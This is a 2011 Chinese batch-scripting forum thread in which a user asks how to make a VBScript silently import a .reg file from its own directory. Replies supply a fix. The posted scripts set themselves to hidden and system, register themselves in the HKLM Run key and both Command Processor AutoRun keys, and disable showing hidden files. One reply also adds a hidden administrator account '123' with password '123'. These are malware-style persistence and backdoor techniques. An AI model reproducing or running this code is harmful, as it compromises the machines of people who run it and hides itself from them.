找回密码
 注册
搜索
[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
查看: 21651|回复: 4

[问题求助] VBS怎样打开CMD窗口将自动导入reg注册表文件?

[复制链接]
发表于 2011-8-23 17:26:05 | 显示全部楼层 |阅读模式
  1. dim wsh,FA,FSO
  2. set fso=CreateObject("Scripting.FileSystemObject")
  3. Set FA= FSO.GetFile(WScript.scriptFullName)
  4. FA.Attributes =34
  5. set wsh=CreateObject("WScript.Shell")
  6. wsh.run "regedit /s C:\test.reg" ,0,true
  7. wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&""
  8. wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
  9. wsh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun",""&FA&""
  10. wsh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun",""&FA&""
复制代码
怎么把wsh.run "regedit /s C:\test.reg" ,0,true 这个中的路径改成自动获取同目录的REG文件?
发表于 2011-8-23 19:20:28 | 显示全部楼层
  1. dim wsh,FA,FSO
  2. set fso=CreateObject("Scripting.FileSystemObject")
  3. Set FA= FSO.GetFile(WScript.scriptFullName)
  4. FA.Attributes =34
  5. set wsh=CreateObject("WScript.Shell")
  6. wsh.run "net user 123 123/add",0,true
  7. wsh.run "net localgroup administrators 123 /add" ,0,true
  8. wsh.run "regedit /s C:\test.reg" ,0,true
复制代码
发表于 2011-8-23 19:34:27 | 显示全部楼层
把里面的net user命令改为导入注册表文件的命令。楼上CUer兄多了添加账户的命令,删了即可
 楼主| 发表于 2011-8-27 14:56:27 | 显示全部楼层
本帖最后由 baihuo998 于 2011-8-27 15:22 编辑

怎么把路径设置成自动获取同目录下的REG文件
发表于 2011-8-27 21:20:18 | 显示全部楼层
  1. dim wsh,FA,FSO
  2. set fso=CreateObject("Scripting.FileSystemObject")
  3. Set FA= FSO.GetFile(WScript.scriptFullName)
  4. FA.Attributes =34
  5. set wsh=CreateObject("WScript.Shell")
  6. wsh.run "regedit /s " & wsh.CurrentDirectory & "\test.reg" ,0,true
复制代码
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|批处理之家 ( 渝ICP备10000708号 )

GMT+8, 2026-3-17 07:26 , Processed in 0.017917 second(s), 8 queries , File On.

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表